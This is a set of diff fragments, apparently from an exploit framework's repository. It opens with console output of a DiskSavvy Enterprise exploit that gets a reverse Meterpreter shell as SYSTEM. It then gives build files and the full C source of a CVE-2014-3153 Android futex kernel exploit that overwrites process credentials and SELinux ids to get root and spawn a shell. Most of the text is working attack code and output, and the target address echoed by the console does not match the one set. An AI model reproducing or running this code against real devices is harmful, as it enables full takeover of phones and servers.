||||
msf exploit(disksavvy_get_bof) > set rhost 192.168.198.133
|
||||
rhost => 192.168.198.130
|
||||
msf exploit(disksavvy_get_bof) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.198.138:4444
|
||||
[*] Automatically detecting the target...
|
||||
[*] Selected Target: DiskSavvy Enterprise v9.3.14
|
||||
[*] Sending stage (957999 bytes) to 192.168.198.133
|
||||
[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.133:49187) at 2017-01-08 05:16:13 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BCJL9PJ5BF5
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
meterpreter >
|
||||
```
|
|
@ -3,8 +3,19 @@ LOCAL_PATH := $(call my-dir)
|
|||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_MODULE := exploit
|
||||
LOCAL_SRC_FILES := exploit.c
|
||||
LOCAL_CFLAGS := -fno-stack-protector -O0
|
||||
LOCAL_MODULE := debugexploit
|
||||
LOCAL_SRC_FILES := futex_requeue.c main.c
|
||||
LOCAL_LDFLAGS += -llog
|
||||
LOCAL_CFLAGS += -DDEBUG
|
||||
LOCAL_CFLAGS += -fno-stack-protector -O0
|
||||
include $(BUILD_EXECUTABLE)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_CFLAGS += -fno-stack-protector -O0
|
||||
LOCAL_MODULE := exploit
|
||||
LOCAL_SRC_FILES := futex_requeue.c main.c
|
||||
|
||||
include $(BUILD_SHARED_LIBRARY)
|
||||
|
||||
|
||||
|
|
|
@ -2,14 +2,16 @@
|
|||
all: install
|
||||
|
||||
build:
|
||||
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
|
||||
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi
|
||||
|
||||
install: build
|
||||
mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf
|
||||
mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2014-3153.so
|
||||
|
||||
test: build
|
||||
adb push libs/armeabi/exploit /data/local/tmp/exploit
|
||||
adb shell "cd /data/local/tmp; ./exploit id"
|
||||
push: build
|
||||
adb push libs/armeabi/debugexploit /data/local/tmp/futex
|
||||
|
||||
run: push
|
||||
adb shell "/data/local/tmp/futex"
|
||||
|
||||
clean:
|
||||
rm -rf libs
|
||||
|
|
|
@ -1,834 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <linux/futex.h>
|
||||
#include <sys/resource.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define FUTEX_WAIT_REQUEUE_PI 11
|
||||
#define FUTEX_CMP_REQUEUE_PI 12
|
||||
|
||||
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
|
||||
|
||||
#define KERNEL_START 0xc0000000
|
||||
|
||||
#define LOCAL_PORT 5551
|
||||
|
||||
struct thread_info;
|
||||
struct task_struct;
|
||||
struct cred;
|
||||
struct kernel_cap_struct;
|
||||
struct task_security_struct;
|
||||
struct list_head;
|
||||
|
||||
struct thread_info {
|
||||
unsigned long flags;
|
||||
int preempt_count;
|
||||
unsigned long addr_limit;
|
||||
struct task_struct *task;
|
||||
|
||||
/* ... */
|
||||
};
|
||||
|
||||
struct kernel_cap_struct {
|
||||
unsigned long cap[2];
|
||||
};
|
||||
|
||||
struct cred {
|
||||
unsigned long usage;
|
||||
uid_t uid;
|
||||
gid_t gid;
|
||||
uid_t suid;
|
||||
gid_t sgid;
|
||||
uid_t euid;
|
||||
gid_t egid;
|
||||
uid_t fsuid;
|
||||
gid_t fsgid;
|
||||
unsigned long securebits;
|
||||
struct kernel_cap_struct cap_inheritable;
|
||||
struct kernel_cap_struct cap_permitted;
|
||||
struct kernel_cap_struct cap_effective;
|
||||
struct kernel_cap_struct cap_bset;
|
||||
unsigned char jit_keyring;
|
||||
void *thread_keyring;
|
||||
void *request_key_auth;
|
||||
void *tgcred;
|
||||
struct task_security_struct *security;
|
||||
|
||||
/* ... */
|
||||
};
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next;
|
||||
struct list_head *prev;
|
||||
};
|
||||
|
||||
struct task_security_struct {
|
||||
unsigned long osid;
|
||||
unsigned long sid;
|
||||
unsigned long exec_sid;
|
||||
unsigned long create_sid;
|
||||
unsigned long keycreate_sid;
|
||||
unsigned long sockcreate_sid;
|
||||
};
|
||||
|
||||
|
||||
struct task_struct_partial {
|
||||
struct list_head cpu_timers[3];
|
||||
struct cred *real_cred;
|
||||
struct cred *cred;
|
||||
struct cred *replacement_session_keyring;
|
||||
char comm[16];
|
||||
};
|
||||
|
||||
|
||||
struct mmsghdr {
|
||||
struct msghdr msg_hdr;
|
||||
unsigned int msg_len;
|
||||
};
|
||||
|
||||
//bss
|
||||
int uaddr1 = 0;
|
||||
int uaddr2 = 0;
|
||||
struct thread_info *HACKS_final_stack_base = NULL;
|
||||
pid_t waiter_thread_tid;
|
||||
pthread_mutex_t done_lock;
|
||||
pthread_cond_t done;
|
||||
pthread_mutex_t is_thread_desched_lock;
|
||||
pthread_cond_t is_thread_desched;
|
||||
volatile int do_socket_tid_read = 0;
|
||||
volatile int did_socket_tid_read = 0;
|
||||
volatile int do_splice_tid_read = 0;
|
||||
volatile int did_splice_tid_read = 0;
|
||||
volatile int do_dm_tid_read = 0;
|
||||
volatile int did_dm_tid_read = 0;
|
||||
pthread_mutex_t is_thread_awake_lock;
|
||||
pthread_cond_t is_thread_awake;
|
||||
int HACKS_fdm = 0;
|
||||
unsigned long MAGIC = 0;
|
||||
unsigned long MAGIC_ALT = 0;
|
||||
pthread_mutex_t *is_kernel_writing;
|
||||
pid_t last_tid = 0;
|
||||
int g_argc;
|
||||
char rootcmd[2048] = "";
|
||||
|
||||
|
||||
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
len = write(pipefd[1], writebuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
read(pipefd[0], readbuf, count);
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
write(pipefd[1], writebuf, count);
|
||||
len = read(pipefd[0], readbuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
void write_kernel(int signum)
|
||||
{
|
||||
struct thread_info stackbuf;
|
||||
unsigned long taskbuf[0x100];
|
||||
struct cred *cred;
|
||||
struct cred credbuf;
|
||||
struct task_security_struct *security;
|
||||
struct task_security_struct securitybuf;
|
||||
pid_t pid;
|
||||
int i;
|
||||
int ret;
|
||||
FILE *fp;
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
pthread_cond_signal(&is_thread_awake);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
if (HACKS_final_stack_base == NULL) {
|
||||
static unsigned long new_addr_limit = 0xffffffff;
|
||||
char *slavename;
|
||||
int pipefd[2];
|
||||
char readbuf[0x100];
|
||||
|
||||
printf("cpid1 resumed\n");
|
||||
|
||||
pthread_mutex_lock(is_kernel_writing);
|
||||
|
||||
HACKS_fdm = open("/dev/ptmx", O_RDWR);
|
||||
unlockpt(HACKS_fdm);
|
||||
slavename = ptsname(HACKS_fdm);
|
||||
|
||||
open(slavename, O_RDWR);
|
||||
|
||||
do_splice_tid_read = 1;
|
||||
while (1) {
|
||||
if (did_splice_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
read(HACKS_fdm, readbuf, sizeof readbuf);
|
||||
|
||||
printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit);
|
||||
|
||||
write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
|
||||
|
||||
pthread_mutex_unlock(is_kernel_writing);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
printf("cpid3 resumed.\n");
|
||||
|
||||
pthread_mutex_lock(is_kernel_writing);
|
||||
|
||||
printf("hack.\n");
|
||||
|
||||
read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
|
||||
read_pipe(stackbuf.task, taskbuf, sizeof taskbuf);
|
||||
|
||||
cred = NULL;
|
||||
security = NULL;
|
||||
pid = 0;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
|
||||
struct task_struct_partial *task = (void *)&taskbuf[i];
|
||||
|
||||
|
||||
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
|
||||
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
|
||||
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
|
||||
&& task->real_cred == task->cred) {
|
||||
cred = task->cred;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
read_pipe(cred, &credbuf, sizeof credbuf);
|
||||
|
||||
security = credbuf.security;
|
||||
|
||||
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
|
||||
read_pipe(security, &securitybuf, sizeof securitybuf);
|
||||
|
||||
if (securitybuf.osid != 0
|
||||
&& securitybuf.sid != 0
|
||||
&& securitybuf.exec_sid == 0
|
||||
&& securitybuf.create_sid == 0
|
||||
&& securitybuf.keycreate_sid == 0
|
||||
&& securitybuf.sockcreate_sid == 0) {
|
||||
securitybuf.osid = 1;
|
||||
securitybuf.sid = 1;
|
||||
|
||||
printf("task_security_struct: %p\n", security);
|
||||
|
||||
write_pipe(security, &securitybuf, sizeof securitybuf);
|
||||
}
|
||||
}
|
||||
|
||||
credbuf.uid = 0;
|
||||
credbuf.gid = 0;
|
||||
credbuf.suid = 0;
|
||||
credbuf.sgid = 0;
|
||||
credbuf.euid = 0;
|
||||
credbuf.egid = 0;
|
||||
credbuf.fsuid = 0;
|
||||
credbuf.fsgid = 0;
|
||||
|
||||
credbuf.cap_inheritable.cap[0] = 0xffffffff;
|
||||
credbuf.cap_inheritable.cap[1] = 0xffffffff;
|
||||
credbuf.cap_permitted.cap[0] = 0xffffffff;
|
||||
credbuf.cap_permitted.cap[1] = 0xffffffff;
|
||||
credbuf.cap_effective.cap[0] = 0xffffffff;
|
||||
credbuf.cap_effective.cap[1] = 0xffffffff;
|
||||
credbuf.cap_bset.cap[0] = 0xffffffff;
|
||||
credbuf.cap_bset.cap[1] = 0xffffffff;
|
||||
|
||||
write_pipe(cred, &credbuf, sizeof credbuf);
|
||||
|
||||
pid = syscall(__NR_gettid);
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
|
||||
static unsigned long write_value = 1;
|
||||
|
||||
if (taskbuf[i] == pid) {
|
||||
write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
|
||||
|
||||
if (getuid() != 0) {
|
||||
printf("ROOT FAILED\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
} else { //rooted
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sleep(1);
|
||||
|
||||
if (g_argc >= 2) {
|
||||
system(rootcmd);
|
||||
} else {
|
||||
system("/system/bin/sh -i");
|
||||
}
|
||||
|
||||
system("/system/bin/touch /dev/rooted");
|
||||
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
while (1) {
|
||||
ret = access("/dev/rooted", F_OK);
|
||||
if (ret >= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf("wait 10 seconds...\n");
|
||||
sleep(10);
|
||||
|
||||
printf("rebooting...\n");
|
||||
sleep(1);
|
||||
system("reboot");
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&done_lock);
|
||||
pthread_cond_signal(&done);
|
||||
pthread_mutex_unlock(&done_lock);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
void *make_action(void *arg) {
|
||||
int prio;
|
||||
struct sigaction act;
|
||||
int ret;
|
||||
|
||||
prio = (int)arg;
|
||||
last_tid = syscall(__NR_gettid);
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_cond_signal(&is_thread_desched);
|
||||
|
||||
act.sa_handler = write_kernel;
|
||||
act.sa_mask = 0;
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(12, &act, NULL);
|
||||
|
||||
setpriority(PRIO_PROCESS, 0, prio);
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
do_dm_tid_read = 1;
|
||||
|
||||
while (did_dm_tid_read == 0) {
|
||||
;
|
||||
}
|
||||
|
||||
ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
printf("futex dm: %d\n", ret);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pid_t wake_actionthread(int prio) {
|
||||
pthread_t th4;
|
||||
pid_t pid;
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
char filebuf[0x1000];
|
||||
char *pdest;
|
||||
int vcscnt, vcscnt2;
|
||||
|
||||
do_dm_tid_read = 0;
|
||||
did_dm_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_create(&th4, 0, make_action, (void *)prio);
|
||||
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
|
||||
|
||||
pid = last_tid;
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
while (do_dm_tid_read == 0) {
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
did_dm_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 == vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
|
||||
}
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
return pid;
|
||||
}
|
||||
|
||||
int make_socket() {
|
||||
int sockfd;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
int sock_buf_size;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if (sockfd < 0) {
|
||||
printf("socket failed.\n");
|
||||
usleep(10);
|
||||
} else {
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
}
|
||||
|
||||
while (1) {
|
||||
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
|
||||
if (ret >= 0) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sock_buf_size = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
|
||||
|
||||
return sockfd;
|
||||
}
|
||||
|
||||
void *send_magicmsg(void *arg) {
|
||||
int sockfd;
|
||||
struct mmsghdr msgvec[1];
|
||||
struct iovec msg_iov[8];
|
||||
unsigned long databuf[0x20];
|
||||
int i;
|
||||
int ret;
|
||||
|
||||
waiter_thread_tid = syscall(__NR_gettid);
|
||||
setpriority(PRIO_PROCESS, 0, 12);
|
||||
|
||||
sockfd = make_socket();
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
|
||||
databuf[i] = MAGIC;
|
||||
}
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
msg_iov[i].iov_base = (void *)MAGIC;
|
||||
msg_iov[i].iov_len = 0x10;
|
||||
}
|
||||
|
||||
msgvec[0].msg_hdr.msg_name = databuf;
|
||||
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
|
||||
msgvec[0].msg_hdr.msg_iov = msg_iov;
|
||||
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
|
||||
msgvec[0].msg_hdr.msg_control = databuf;
|
||||
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
|
||||
msgvec[0].msg_hdr.msg_flags = 0;
|
||||
msgvec[0].msg_len = 0;
|
||||
|
||||
syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0);
|
||||
|
||||
do_socket_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
if (did_socket_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ret = 0;
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
|
||||
if (ret <= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (ret < 0) {
|
||||
perror("SOCKSHIT");
|
||||
}
|
||||
printf("EXIT WTF\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static inline setup_exploit(unsigned long mem)
|
||||
{
|
||||
*((unsigned long *)(mem - 0x04)) = 0x81;
|
||||
*((unsigned long *)(mem + 0x00)) = mem + 0x20;
|
||||
*((unsigned long *)(mem + 0x08)) = mem + 0x28;
|
||||
*((unsigned long *)(mem + 0x1c)) = 0x85;
|
||||
*((unsigned long *)(mem + 0x24)) = mem;
|
||||
*((unsigned long *)(mem + 0x2c)) = mem + 8;
|
||||
}
|
||||
|
||||
void *search_goodnum(void *arg) {
|
||||
int ret;
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
char filebuf[0x1000];
|
||||
char *pdest;
|
||||
int vcscnt, vcscnt2;
|
||||
unsigned long magicval;
|
||||
pid_t pid;
|
||||
unsigned long goodval, goodval2;
|
||||
unsigned long addr, setaddr;
|
||||
int i;
|
||||
char buf[0x1000];
|
||||
|
||||
syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1);
|
||||
if (ret == 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
wake_actionthread(6);
|
||||
wake_actionthread(7);
|
||||
|
||||
uaddr2 = 0;
|
||||
do_socket_tid_read = 0;
|
||||
did_socket_tid_read = 0;
|
||||
|
||||
syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);
|
||||
|
||||
while (1) {
|
||||
if (do_socket_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
|
||||
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
did_socket_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 == vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
printf("starting the dangerous things\n");
|
||||
|
||||
setup_exploit(MAGIC_ALT);
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
magicval = *((unsigned long *)MAGIC);
|
||||
|
||||
wake_actionthread(11);
|
||||
|
||||
if (*((unsigned long *)MAGIC) == magicval) {
|
||||
printf("using MAGIC_ALT.\n");
|
||||
MAGIC = MAGIC_ALT;
|
||||
}
|
||||
|
||||
while (1) {
|
||||
is_kernel_writing = (pthread_mutex_t *)malloc(4);
|
||||
pthread_mutex_init(is_kernel_writing, NULL);
|
||||
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
pid = wake_actionthread(11);
|
||||
|
||||
goodval = *((unsigned long *)MAGIC) & 0xffffe000;
|
||||
|
||||
printf("%p is a good number\n", (void *)goodval);
|
||||
|
||||
do_splice_tid_read = 0;
|
||||
did_splice_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
|
||||
kill(pid, 12);
|
||||
|
||||
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
while (1) {
|
||||
if (do_splice_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
did_splice_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 != vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
goodval2 = 0;
|
||||
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
|
||||
|
||||
wake_actionthread(12);
|
||||
goodval2 = *((unsigned long *)(MAGIC + 0x24));
|
||||
|
||||
printf("%p is also a good number.\n", (void *)goodval2);
|
||||
|
||||
for (i = 0; i < 9; i++) {
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
pid = wake_actionthread(10);
|
||||
|
||||
if (*((unsigned long *)MAGIC) < goodval2) {
|
||||
HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000);
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
|
||||
kill(pid, 12);
|
||||
|
||||
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
printf("GOING\n");
|
||||
|
||||
write(HACKS_fdm, buf, sizeof buf);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *accept_socket(void *arg) {
|
||||
int sockfd;
|
||||
int yes;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
|
||||
yes = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
listen(sockfd, 1);
|
||||
|
||||
while(1) {
|
||||
ret = accept(sockfd, NULL, NULL);
|
||||
if (ret < 0) {
|
||||
printf("**** SOCK_PROC failed ****\n");
|
||||
while(1) {
|
||||
sleep(10);
|
||||
}
|
||||
} else {
|
||||
printf("i have a client like hookers.\n");
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void init_exploit() {
|
||||
unsigned long addr;
|
||||
pthread_t th1, th2, th3;
|
||||
|
||||
printf("running with pid %d\n", getpid());
|
||||
|
||||
pthread_create(&th1, NULL, accept_socket, NULL);
|
||||
|
||||
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
addr += 0x800;
|
||||
MAGIC = addr;
|
||||
if ((long)addr >= 0) {
|
||||
printf("first mmap failed?\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
addr += 0x800;
|
||||
MAGIC_ALT = addr;
|
||||
if (addr > 0x110000) {
|
||||
printf("second mmap failed?\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&done_lock);
|
||||
pthread_create(&th2, NULL, search_goodnum, NULL);
|
||||
pthread_create(&th3, NULL, send_magicmsg, NULL);
|
||||
pthread_cond_wait(&done, &done_lock);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
g_argc = argc;
|
||||
|
||||
if (argc >= 2) {
|
||||
strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1);
|
||||
int i;
|
||||
for (i=1;i<argc;i++) {
|
||||
strlcat(rootcmd, argv[i], sizeof(rootcmd) - 1);
|
||||
strlcat(rootcmd, " ", sizeof(rootcmd) - 1);
|
||||
}
|
||||
strlcat(rootcmd, "'", sizeof(rootcmd) - 1);
|
||||
}
|
||||
|
||||
init_exploit();
|
||||
|
||||
printf("Finished, looping.\n");
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,11 @@
|
|||
//#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <android/log.h>
|
||||
#define LOGV(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
|
||||
#define LOGD(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
|
||||
#else
|
||||
#define LOGV(...)
|
||||
#define LOGD(...)
|
||||
#endif
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
#include <jni.h>
|
||||
#include "log.h"
|
||||
|
||||
extern int waiter_exploit();
|
||||
extern int config_new_samsung;
|
||||
extern int config_iovstack;
|
||||
extern int config_offset;
|
||||
extern int config_force_remove;
|
||||
|
||||
void init_exploit() {
|
||||
|
||||
LOGV("[+] <main> parent pid = %d", getpid());
